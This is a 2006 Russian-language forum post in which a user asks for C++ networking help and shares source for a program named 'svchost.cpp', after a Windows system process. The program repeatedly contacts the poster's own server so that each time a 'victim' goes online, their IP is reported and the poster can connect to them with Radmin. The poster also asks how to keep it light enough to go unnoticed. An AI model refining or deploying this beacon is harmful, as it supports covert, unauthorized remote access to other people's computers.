
13.12.2006, 00:40
|
|
Новичок
Регистрация: 05.12.2006
Сообщений: 22
С нами:
10226922
Репутация:
6
|
|
возник вопрос, как определит наличие работающего сетевого подключения к интернету? или открыть сокет и попытаться что-то прочитать и есть самый простой вариант? как отловить момент когда юзер подключиться?
Код:
// file: svchost.cpp
#include "stdafx.h"
#include "socket.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char buf[32];
while (true)
{
Socket sock;
sock.connect("my.ip.add.ress", 177);
sock << "GET http://my.ip.add.ress/ HTTP/1.0\r\n\r\n";
sock.set_buffer_size(sizeof(buf));
sock >> buf;
sock.close();
Sleep(25000);
}
return 0;
}
вот такой исходник. использую чтобы при коннекте момедного юзера с моим radmin'ом мне сразу пришел его IP (у меня запущен сервер с помощью того же класса, пишет в лог и MessageBox кидает при попытке коннекта). так вот боюсь перегрузить систему жертвы, не нужно чтоб лишнюю оперативу жрало и вообще процессор занимало...
да и еще если Socket sock; вытащить из цикла, то почему-то после первого обращения к серверу, в следующие шаги цикла ничего не приходит(как будто и не пытаеться соединиться)? почему? первый раз что-то под сеть пишу на CPP...
Последний раз редактировалось m17; 13.12.2006 в 00:43..
|
|
|